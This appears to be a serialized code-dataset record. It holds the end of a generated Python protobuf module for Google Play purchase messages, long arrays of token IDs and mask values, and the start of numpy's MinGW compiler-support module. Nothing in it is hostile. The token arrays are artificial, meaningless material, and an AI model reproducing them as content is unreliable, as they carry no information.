message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='instrument', full_name='Purchase.ClientCart.instrument', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='extendedDetailHtml', full_name='Purchase.ClientCart.extendedDetailHtml', index=4,
number=5, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='footerHtml', full_name='Purchase.ClientCart.footerHtml', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='addInstrumentPromptHtml', full_name='Purchase.ClientCart.addInstrumentPromptHtml', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='buttonText', full_name='Purchase.ClientCart.buttonText', index=7,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='completePurchaseChallenge', full_name='Purchase.ClientCart.completePurchaseChallenge', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='priceByline', full_name='Purchase.ClientCart.priceByline', index=9,
number=10, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='detailHtml', full_name='Purchase.ClientCart.detailHtml', index=10,
number=11, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='applicableVoucher', full_name='Purchase.ClientCart.applicableVoucher', index=11,
number=12, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='appliedVoucherIndex', full_name='Purchase.ClientCart.appliedVoucherIndex', index=12,
number=13, type=5, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='applicableVouchers', full_name='Purchase.ClientCart.applicableVouchers', index=13,
number=14, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='formattedOriginalPrice', full_name='Purchase.ClientCart.formattedOriginalPrice', index=14,
number=15, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=1089,
serialized_end=1584,
)
_CHANGESUBSCRIPTION = _descriptor.Descriptor(
name='ChangeSubscription',
full_name='Purchase.ChangeSubscription',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='title', full_name='Purchase.ChangeSubscription.title', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='descriptionHtml', full_name='Purchase.ChangeSubscription.descriptionHtml', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=1586,
serialized_end=1646,
)
_PREPAREPURCHASERESPONSE.fields_by_name['purchaseStatus'].message_type = _PURCHASESTATUS
_PREPAREPURCHASERESPONSE.fields_by_name['challenge'].message_type = challenge__proto__pb2._CHALLENGE
_PREPAREPURCHASERESPONSE.fields_by_name['cart'].message_type = _CLIENTCART
_PREPAREPURCHASERESPONSE.fields_by_name['libraryUpdate'].message_type = library__update__proto__pb2._LIBRARYUPDATE
_PREPAREPURCHASERESPONSE.fields_by_name['applicableVoucher'].message_type = document__v2__pb2._DOCV2
_PREPAREPURCHASERESPONSE.fields_by_name['changeSubscription'].message_type = _CHANGESUBSCRIPTION
_COMMITPURCHASERESPONSE.fields_by_name['purchaseStatus'].message_type = _PURCHASESTATUS
_COMMITPURCHASERESPONSE.fields_by_name['challenge'].message_type = challenge__proto__pb2._CHALLENGE
_COMMITPURCHASERESPONSE.fields_by_name['libraryUpdate'].message_type = library__update__proto__pb2._LIBRARYUPDATE
_COMMITPURCHASERESPONSE.fields_by_name['appDeliveryData'].message_type = android__app__delivery__pb2._ANDROIDAPPDELIVERYDATA
_COMMITPURCHASERESPONSE.fields_by_name['successInfo'].message_type = acquisition__pb2._SUCCESSINFO
_APPLICABLEVOUCHER.fields_by_name['doc'].message_type = document__v2__pb2._DOCV2
_CLIENTCART.fields_by_name['instrument'].message_type = common__device__pb2._INSTRUMENT
_CLIENTCART.fields_by_name['completePurchaseChallenge'].message_type = challenge__proto__pb2._CHALLENGE
_CLIENTCART.fields_by_name['applicableVoucher'].message_type = document__v2__pb2._DOCV2
_CLIENTCART.fields_by_name['applicableVouchers'].message_type = _APPLICABLEVOUCHER
DESCRIPTOR.message_types_by_name['PreparePurchaseResponse'] = _PREPAREPURCHASERESPONSE
DESCRIPTOR.message_types_by_name['CommitPurchaseResponse'] = _COMMITPURCHASERESPONSE
DESCRIPTOR.message_types_by_name['PurchaseStatus'] = _PURCHASESTATUS
DESCRIPTOR.message_types_by_name['ApplicableVoucher'] = _APPLICABLEVOUCHER
DESCRIPTOR.message_types_by_name['ClientCart'] = _CLIENTCART
DESCRIPTOR.message_types_by_name['ChangeSubscription'] = _CHANGESUBSCRIPTION
PreparePurchaseResponse = _reflection.GeneratedProtocolMessageType('PreparePurchaseResponse', (_message.Message,), dict(
DESCRIPTOR = _PREPAREPURCHASERESPONSE,
__module__ = 'purchase_pb2'
# @@protoc_insertion_point(class_scope:Purchase.PreparePurchaseResponse)
))
_sym_db.RegisterMessage(PreparePurchaseResponse)
CommitPurchaseResponse = _reflection.GeneratedProtocolMessageType('CommitPurchaseResponse', (_message.Message,), dict(
DESCRIPTOR = _COMMITPURCHASERESPONSE,
__module__ = 'purchase_pb2'
# @@protoc_insertion_point(class_scope:Purchase.CommitPurchaseResponse)
))
_sym_db.RegisterMessage(CommitPurchaseResponse)
PurchaseStatus = _reflection.GeneratedProtocolMessageType('PurchaseStatus', (_message.Message,), dict(
DESCRIPTOR = _PURCHASESTATUS,
__module__ = 'purchase_pb2'
# @@protoc_insertion_point(class_scope:Purchase.PurchaseStatus)
))
_sym_db.RegisterMessage(PurchaseStatus)
ApplicableVoucher = _reflection.GeneratedProtocolMessageType('ApplicableVoucher', (_message.Message,), dict(
DESCRIPTOR = _APPLICABLEVOUCHER,
__module__ = 'purchase_pb2'
# @@protoc_insertion_point(class_scope:Purchase.ApplicableVoucher)
))
_sym_db.RegisterMessage(ApplicableVoucher)
ClientCart = _reflection.GeneratedProtocolMessageType('ClientCart', (_message.Message,), dict(
DESCRIPTOR = _CLIENTCART,
__module__ = 'purchase_pb2'
# @@protoc_insertion_point(class_scope:Purchase.ClientCart)
))
_sym_db.RegisterMessage(ClientCart)
ChangeSubscription = _reflection.GeneratedProtocolMessageType('ChangeSubscription', (_message.Message,), dict(
DESCRIPTOR = _CHANGESUBSCRIPTION,
__module__ = 'purchase_pb2'
# @@protoc_insertion_point(class_scope:Purchase.ChangeSubscription)
))
_sym_db.RegisterMessage(ChangeSubscription)
DESCRIPTOR.has_options = True
DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('\n com.google.android.finsky.protosB\010Purchase'))
# @@protoc_insertion_point(module_scope)
|
mit
|
[
3,
17065,
701,
314,
4113,
3335,
6365,
14,
221,
3506,
2845,
24981,
1,
199,
3,
1350,
26,
15932,
14,
2625,
199,
199,
646,
984,
199,
63,
66,
29,
1274,
14,
1023,
63,
815,
59,
16,
61,
28,
19,
436,
334,
2734,
671,
26,
88,
9,
503,
334,
2734,
671,
26,
88,
14,
2143,
360,
10378,
17,
1333,
199,
504,
6233,
14,
7204,
492,
5872,
465,
485,
4120,
199,
504,
6233,
14,
7204,
492,
1245,
465,
485,
1188,
199,
504,
6233,
14,
7204,
492,
25572,
465,
485,
14906,
199,
504,
6233,
14,
7204,
492,
5272,
63,
4659,
465,
485,
5155,
63,
4659,
199,
504,
6233,
14,
7204,
492,
5872,
63,
3317,
18,
199,
3,
13365,
16311,
63,
14739,
63,
1403,
8,
12775,
9,
199,
199,
63,
3840,
63,
697,
275,
485,
5155,
63,
4659,
14,
2698,
342,
421,
199,
646,
15516,
63,
571,
63,
14564,
63,
3317,
18,
465,
15516,
363,
571,
363,
14564,
363,
3317,
18,
199,
646,
2213,
63,
86,
18,
63,
3317,
18,
465,
2213,
363,
86,
18,
363,
3317,
18,
199,
646,
3555,
63,
873,
63,
2625,
63,
3317,
18,
465,
3555,
363,
873,
363,
2625,
363,
3317,
18,
199,
646,
1066,
21523,
63,
3317,
18,
465,
1066,
21523,
363,
3317,
18,
199,
646,
14929,
63,
2625,
63,
3317,
18,
465,
14929,
363,
2625,
363,
3317,
18,
199,
646,
2863,
63,
1782,
63,
3317,
18,
465,
2863,
363,
1782,
363,
3317,
18,
421,
199,
7580,
275,
485,
4120,
14,
23859,
8,
523,
536,
534,
9533,
14,
2625,
297,
523,
2559,
534,
20486,
297,
523,
6302,
534,
2625,
18,
297,
523,
6380,
63,
3317,
3699,
66,
2258,
78,
60,
88,
16,
1545,
300,
6703,
14,
2625,
60,
88,
713,
60,
88,
2036,
20486,
60,
88,
17,
65,
60,
88,
17,
65,
60,
88,
2976,
977,
3977,
63,
571,
63,
14564,
14,
2625,
60,
88,
17,
65,
60,
88,
845,
60,
88,
772,
679,
760,
63,
86,
18,
14,
2625,
60,
88,
17,
65,
60,
88,
17,
25530,
1998,
63,
873,
63,
2625,
14,
2625,
60,
88,
17,
65,
60,
88,
845,
60,
88,
2976,
60,
88,
2766,
21523,
14,
2625,
60,
88,
17,
65,
60,
88,
1046,
60,
88,
2766,
72,
8537,
63,
2625,
14,
2625,
60,
88,
17,
65,
60,
88,
969,
60,
88,
2766,
79,
596,
265,
63,
1782,
14,
2625,
13356,
1949,
22,
60,
88,
996,
60,
78,
60,
88,
1196,
22281,
20486,
2364,
60,
88,
713,
60,
88,
1216,
60,
78,
60,
88,
16,
1545,
300,
6703,
3694,
60,
88,
1085,
60,
88,
614,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1085,
14,
20486,
14,
20486,
3694,
60,
88,
713,
4202,
78,
60,
84,
13911,
60,
88,
1085,
60,
88,
996,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1167,
14,
30531,
8548,
14,
30531,
60,
88,
713,
13356,
78,
60,
88,
966,
60,
88,
2766,
60,
88,
2976,
2591,
60,
88,
1085,
60,
88,
1644,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1079,
14,
20486,
14,
3041,
31667,
60,
88,
713,
60,
88,
1703,
60,
78,
60,
82,
4342,
4152,
60,
88,
1085,
60,
88,
966,
971,
88,
1644,
2961,
88,
16,
66,
60,
88,
708,
1,
14,
7424,
4152,
8548,
14,
7424,
4152,
60,
88,
713,
60,
88,
1085,
60,
78,
60,
88,
709,
1000,
16333,
7810,
60,
88,
1085,
60,
88,
1717,
971,
88,
614,
2961,
88,
16,
67,
60,
88,
713,
4202,
78,
60,
88,
845,
60,
88,
2976,
802,
606,
461,
54,
10795,
60,
88,
1085,
60,
88,
1690,
971,
88,
1644,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
845,
14,
5564,
54,
18,
14,
3768,
54,
18,
60,
88,
713,
60,
88,
17,
66,
60,
78,
60,
88,
969,
60,
88,
2976,
802,
1857,
54,
10795,
2681,
60,
88,
1085,
60,
88,
1780,
971,
88,
1644,
2961,
88,
1717,
60,
88,
713,
60,
88,
1703,
60,
78,
60,
88,
713,
60,
88,
2766,
72,
618,
19120,
60,
88,
1085,
60,
88,
2036,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
17,
67,
14,
20486,
14,
4001,
19120,
13356,
10745,
60,
88,
996,
60,
78,
60,
88,
975,
60,
88,
2824,
79,
596,
390,
20486,
2364,
60,
88,
713,
60,
88,
1216,
60,
78,
60,
88,
16,
1545,
300,
6703,
3694,
60,
88,
1085,
60,
88,
614,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1085,
14,
20486,
14,
20486,
3694,
60,
88,
713,
4202,
78,
60,
84,
13911,
60,
88,
1085,
60,
88,
996,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1167,
14,
30531,
8548,
14,
30531,
60,
88,
713,
60,
88,
1703,
60,
78,
60,
82,
4342,
4152,
60,
88,
1085,
60,
88,
1644,
971,
88,
1644,
2961,
88,
16,
66,
60,
88,
708,
1,
14,
7424,
4152,
8548,
14,
7424,
4152,
60,
88,
713,
60,
88,
2824,
60,
78,
60,
88,
16,
70,
60,
88,
2976,
802,
24640,
1451,
60,
88,
1085,
60,
88,
966,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
4856,
20762,
2640,
24640,
14,
20762,
2640,
24640,
1451,
60,
88,
713,
60,
88,
1085,
60,
78,
60,
88,
709,
1000,
16333,
7810,
60,
88,
1085,
60,
88,
1717,
971,
88,
614,
2961,
88,
16,
67,
60,
88,
713,
60,
88,
17,
67,
60,
78,
60,
88,
1079,
60,
88,
2182,
78,
15282,
24640,
3264,
60,
88,
1085,
60,
88,
1690,
971,
88,
614,
2961,
84,
60,
88,
713,
2696,
78,
60,
88,
16,
1533,
1992,
2354,
60,
88,
1085,
60,
88,
1780,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1085,
14,
1945,
21523,
14,
8300,
2354,
4451,
55,
60,
78,
60,
88,
16,
69,
20486,
3694,
60,
88,
713,
60,
88,
713,
60,
78,
60,
78,
1205,
3034,
60,
88,
1085,
60,
88,
614,
971,
88,
614,
2961,
88,
1717,
60,
88,
713,
60,
88,
1085,
60,
78,
60,
88,
709,
60,
88,
2182,
82,
451,
2209,
12957,
60,
88,
1085,
60,
88,
996,
971,
88,
614,
2961,
84,
60,
88,
713,
60,
88,
1196,
60,
78,
60,
88,
16
] |
[
17065,
701,
314,
4113,
3335,
6365,
14,
221,
3506,
2845,
24981,
1,
199,
3,
1350,
26,
15932,
14,
2625,
199,
199,
646,
984,
199,
63,
66,
29,
1274,
14,
1023,
63,
815,
59,
16,
61,
28,
19,
436,
334,
2734,
671,
26,
88,
9,
503,
334,
2734,
671,
26,
88,
14,
2143,
360,
10378,
17,
1333,
199,
504,
6233,
14,
7204,
492,
5872,
465,
485,
4120,
199,
504,
6233,
14,
7204,
492,
1245,
465,
485,
1188,
199,
504,
6233,
14,
7204,
492,
25572,
465,
485,
14906,
199,
504,
6233,
14,
7204,
492,
5272,
63,
4659,
465,
485,
5155,
63,
4659,
199,
504,
6233,
14,
7204,
492,
5872,
63,
3317,
18,
199,
3,
13365,
16311,
63,
14739,
63,
1403,
8,
12775,
9,
199,
199,
63,
3840,
63,
697,
275,
485,
5155,
63,
4659,
14,
2698,
342,
421,
199,
646,
15516,
63,
571,
63,
14564,
63,
3317,
18,
465,
15516,
363,
571,
363,
14564,
363,
3317,
18,
199,
646,
2213,
63,
86,
18,
63,
3317,
18,
465,
2213,
363,
86,
18,
363,
3317,
18,
199,
646,
3555,
63,
873,
63,
2625,
63,
3317,
18,
465,
3555,
363,
873,
363,
2625,
363,
3317,
18,
199,
646,
1066,
21523,
63,
3317,
18,
465,
1066,
21523,
363,
3317,
18,
199,
646,
14929,
63,
2625,
63,
3317,
18,
465,
14929,
363,
2625,
363,
3317,
18,
199,
646,
2863,
63,
1782,
63,
3317,
18,
465,
2863,
363,
1782,
363,
3317,
18,
421,
199,
7580,
275,
485,
4120,
14,
23859,
8,
523,
536,
534,
9533,
14,
2625,
297,
523,
2559,
534,
20486,
297,
523,
6302,
534,
2625,
18,
297,
523,
6380,
63,
3317,
3699,
66,
2258,
78,
60,
88,
16,
1545,
300,
6703,
14,
2625,
60,
88,
713,
60,
88,
2036,
20486,
60,
88,
17,
65,
60,
88,
17,
65,
60,
88,
2976,
977,
3977,
63,
571,
63,
14564,
14,
2625,
60,
88,
17,
65,
60,
88,
845,
60,
88,
772,
679,
760,
63,
86,
18,
14,
2625,
60,
88,
17,
65,
60,
88,
17,
25530,
1998,
63,
873,
63,
2625,
14,
2625,
60,
88,
17,
65,
60,
88,
845,
60,
88,
2976,
60,
88,
2766,
21523,
14,
2625,
60,
88,
17,
65,
60,
88,
1046,
60,
88,
2766,
72,
8537,
63,
2625,
14,
2625,
60,
88,
17,
65,
60,
88,
969,
60,
88,
2766,
79,
596,
265,
63,
1782,
14,
2625,
13356,
1949,
22,
60,
88,
996,
60,
78,
60,
88,
1196,
22281,
20486,
2364,
60,
88,
713,
60,
88,
1216,
60,
78,
60,
88,
16,
1545,
300,
6703,
3694,
60,
88,
1085,
60,
88,
614,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1085,
14,
20486,
14,
20486,
3694,
60,
88,
713,
4202,
78,
60,
84,
13911,
60,
88,
1085,
60,
88,
996,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1167,
14,
30531,
8548,
14,
30531,
60,
88,
713,
13356,
78,
60,
88,
966,
60,
88,
2766,
60,
88,
2976,
2591,
60,
88,
1085,
60,
88,
1644,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1079,
14,
20486,
14,
3041,
31667,
60,
88,
713,
60,
88,
1703,
60,
78,
60,
82,
4342,
4152,
60,
88,
1085,
60,
88,
966,
971,
88,
1644,
2961,
88,
16,
66,
60,
88,
708,
1,
14,
7424,
4152,
8548,
14,
7424,
4152,
60,
88,
713,
60,
88,
1085,
60,
78,
60,
88,
709,
1000,
16333,
7810,
60,
88,
1085,
60,
88,
1717,
971,
88,
614,
2961,
88,
16,
67,
60,
88,
713,
4202,
78,
60,
88,
845,
60,
88,
2976,
802,
606,
461,
54,
10795,
60,
88,
1085,
60,
88,
1690,
971,
88,
1644,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
845,
14,
5564,
54,
18,
14,
3768,
54,
18,
60,
88,
713,
60,
88,
17,
66,
60,
78,
60,
88,
969,
60,
88,
2976,
802,
1857,
54,
10795,
2681,
60,
88,
1085,
60,
88,
1780,
971,
88,
1644,
2961,
88,
1717,
60,
88,
713,
60,
88,
1703,
60,
78,
60,
88,
713,
60,
88,
2766,
72,
618,
19120,
60,
88,
1085,
60,
88,
2036,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
17,
67,
14,
20486,
14,
4001,
19120,
13356,
10745,
60,
88,
996,
60,
78,
60,
88,
975,
60,
88,
2824,
79,
596,
390,
20486,
2364,
60,
88,
713,
60,
88,
1216,
60,
78,
60,
88,
16,
1545,
300,
6703,
3694,
60,
88,
1085,
60,
88,
614,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1085,
14,
20486,
14,
20486,
3694,
60,
88,
713,
4202,
78,
60,
84,
13911,
60,
88,
1085,
60,
88,
996,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1167,
14,
30531,
8548,
14,
30531,
60,
88,
713,
60,
88,
1703,
60,
78,
60,
82,
4342,
4152,
60,
88,
1085,
60,
88,
1644,
971,
88,
1644,
2961,
88,
16,
66,
60,
88,
708,
1,
14,
7424,
4152,
8548,
14,
7424,
4152,
60,
88,
713,
60,
88,
2824,
60,
78,
60,
88,
16,
70,
60,
88,
2976,
802,
24640,
1451,
60,
88,
1085,
60,
88,
966,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
4856,
20762,
2640,
24640,
14,
20762,
2640,
24640,
1451,
60,
88,
713,
60,
88,
1085,
60,
78,
60,
88,
709,
1000,
16333,
7810,
60,
88,
1085,
60,
88,
1717,
971,
88,
614,
2961,
88,
16,
67,
60,
88,
713,
60,
88,
17,
67,
60,
78,
60,
88,
1079,
60,
88,
2182,
78,
15282,
24640,
3264,
60,
88,
1085,
60,
88,
1690,
971,
88,
614,
2961,
84,
60,
88,
713,
2696,
78,
60,
88,
16,
1533,
1992,
2354,
60,
88,
1085,
60,
88,
1780,
971,
88,
614,
2961,
88,
16,
66,
60,
88,
708,
60,
88,
1085,
14,
1945,
21523,
14,
8300,
2354,
4451,
55,
60,
78,
60,
88,
16,
69,
20486,
3694,
60,
88,
713,
60,
88,
713,
60,
78,
60,
78,
1205,
3034,
60,
88,
1085,
60,
88,
614,
971,
88,
614,
2961,
88,
1717,
60,
88,
713,
60,
88,
1085,
60,
78,
60,
88,
709,
60,
88,
2182,
82,
451,
2209,
12957,
60,
88,
1085,
60,
88,
996,
971,
88,
614,
2961,
84,
60,
88,
713,
60,
88,
1196,
60,
78,
60,
88,
16,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
ryfeus/lambda-packs
|
Tensorflow/source/numpy/distutils/mingw32ccompiler.py
|
10
|
25147
|
"""
Support code for building Python extensions on Windows.
# NT stuff
# 1. Make sure libpython<version>.a exists for gcc. If not, build it.
# 2. Force windows to use gcc (we're struggling with MSVC and g77 support)
# 3. Force windows to use g77
"""
from __future__ import division, absolute_import, print_function
import os
import sys
import subprocess
import re
# Overwrite certain distutils.ccompiler functions:
import numpy.distutils.ccompiler
if sys.version_info[0] < 3:
from . import log
else:
from numpy.distutils import log
# NT stuff
# 1. Make sure libpython<version>.a exists for gcc. If not, build it.
# 2. Force windows to use gcc (we're struggling with MSVC and g77 support)
# --> this is done in numpy/distutils/ccompiler.py
# 3. Force windows to use g77
import distutils.cygwinccompiler
from distutils.version import StrictVersion
from numpy.distutils.ccompiler import gen_preprocess_options, gen_lib_options
from distutils.unixccompiler import UnixCCompiler
from distutils.msvccompiler import get_build_version as get_build_msvc_version
from distutils.errors import (DistutilsExecError, CompileError,
UnknownFileError)
from numpy.distutils.misc_util import (msvc_runtime_library,
msvc_runtime_version,
msvc_runtime_major,
get_build_architecture)
def get_msvcr_replacement():
"""Replacement for outdated version of get_msvcr from cygwinccompiler"""
msvcr = msvc_runtime_library()
return [] if msvcr is None else [msvcr]
# monkey-patch cygwinccompiler with our updated version from misc_util
# to avoid getting an exception raised on Python 3.5
distutils.cygwinccompiler.get_msvcr = get_msvcr_replacement
# Useful to generate table of symbols from a dll
_START = re.compile(r'\[Ordinal/Name Pointer\] Table')
_TABLE = re.compile(r'^\s+\[([\s*[0-9]*)\] ([a-zA-Z0-9_]*)')
# the same as cygwin plus some additional parameters
class Mingw32CCompiler(distutils.cygwinccompiler.CygwinCCompiler):
""" A modified MingW32 compiler compatible with an MSVC built Python.
"""
compiler_type = 'mingw32'
def __init__ (self,
verbose=0,
dry_run=0,
force=0):
distutils.cygwinccompiler.CygwinCCompiler.__init__ (self, verbose,
dry_run, force)
# we need to support 3.2 which doesn't match the standard
# get_versions methods regex
if self.gcc_version is None:
import re
p = subprocess.Popen(['gcc', '-dumpversion'], shell=True,
stdout=subprocess.PIPE)
out_string = p.stdout.read()
p.stdout.close()
result = re.search(r'(\d+\.\d+)', out_string)
if result:
self.gcc_version = StrictVersion(result.group(1))
# A real mingw32 doesn't need to specify a different entry point,
# but cygwin 2.91.57 in no-cygwin-mode needs it.
if self.gcc_version <= "2.91.57":
entry_point = '--entry _DllMain@12'
else:
entry_point = ''
if self.linker_dll == 'dllwrap':
# Commented out '--driver-name g++' part that fixes weird
# g++.exe: g++: No such file or directory
# error (mingw 1.0 in Enthon24 tree, gcc-3.4.5).
# If the --driver-name part is required for some environment
# then make the inclusion of this part specific to that
# environment.
self.linker = 'dllwrap' # --driver-name g++'
elif self.linker_dll == 'gcc':
self.linker = 'g++'
# **changes: eric jones 4/11/01
# 1. Check for import library on Windows. Build if it doesn't exist.
build_import_library()
# Check for custom msvc runtime library on Windows. Build if it doesn't exist.
msvcr_success = build_msvcr_library()
msvcr_dbg_success = build_msvcr_library(debug=True)
if msvcr_success or msvcr_dbg_success:
# add preprocessor statement for using customized msvcr lib
self.define_macro('NPY_MINGW_USE_CUSTOM_MSVCR')
# Define the MSVC version as hint for MinGW
msvcr_version = msvc_runtime_version()
if msvcr_version:
self.define_macro('__MSVCRT_VERSION__', '0x%04i' % msvcr_version)
# MS_WIN64 should be defined when building for amd64 on windows,
# but python headers define it only for MS compilers, which has all
# kind of bad consequences, like using Py_ModuleInit4 instead of
# Py_ModuleInit4_64, etc... So we add it here
if get_build_architecture() == 'AMD64':
if self.gcc_version < "4.0":
self.set_executables(
compiler='gcc -g -DDEBUG -DMS_WIN64 -mno-cygwin -O0 -Wall',
compiler_so='gcc -g -DDEBUG -DMS_WIN64 -mno-cygwin -O0'
' -Wall -Wstrict-prototypes',
linker_exe='gcc -g -mno-cygwin',
linker_so='gcc -g -mno-cygwin -shared')
else:
# gcc-4 series releases do not support -mno-cygwin option
self.set_executables(
compiler='gcc -g -DDEBUG -DMS_WIN64 -O0 -Wall',
compiler_so='gcc -g -DDEBUG -DMS_WIN64 -O0 -Wall -Wstrict-prototypes',
linker_exe='gcc -g',
linker_so='gcc -g -shared')
else:
if self.gcc_version <= "3.0.0":
self.set_executables(
compiler='gcc -mno-cygwin -O2 -w',
compiler_so='gcc -mno-cygwin -mdll -O2 -w'
' -Wstrict-prototypes',
linker_exe='g++ -mno-cygwin',
linker_so='%s -mno-cygwin -mdll -static %s' %
(self.linker, entry_point))
elif self.gcc_version < "4.0":
self.set_executables(
compiler='gcc -mno-cygwin -O2 -Wall',
compiler_so='gcc -mno-cygwin -O2 -Wall'
' -Wstrict-prototypes',
linker_exe='g++ -mno-cygwin',
linker_so='g++ -mno-cygwin -shared')
else:
# gcc-4 series releases do not support -mno-cygwin option
self.set_executables(compiler='gcc -O2 -Wall',
compiler_so='gcc -O2 -Wall -Wstrict-prototypes',
linker_exe='g++ ',
linker_so='g++ -shared')
# added for python2.3 support
# we can't pass it through set_executables because pre 2.2 would fail
self.compiler_cxx = ['g++']
# Maybe we should also append -mthreads, but then the finished dlls
# need another dll (mingwm10.dll see Mingw32 docs) (-mthreads: Support
# thread-safe exception handling on `Mingw32')
# no additional libraries needed
#self.dll_libraries=[]
return
# __init__ ()
def link(self,
target_desc,
objects,
output_filename,
output_dir,
libraries,
library_dirs,
runtime_library_dirs,
export_symbols = None,
debug=0,
extra_preargs=None,
extra_postargs=None,
build_temp=None,
target_lang=None):
# Include the appropriate MSVC runtime library if Python was built
# with MSVC >= 7.0 (MinGW standard is msvcrt)
runtime_library = msvc_runtime_library()
if runtime_library:
if not libraries:
libraries = []
libraries.append(runtime_library)
args = (self,
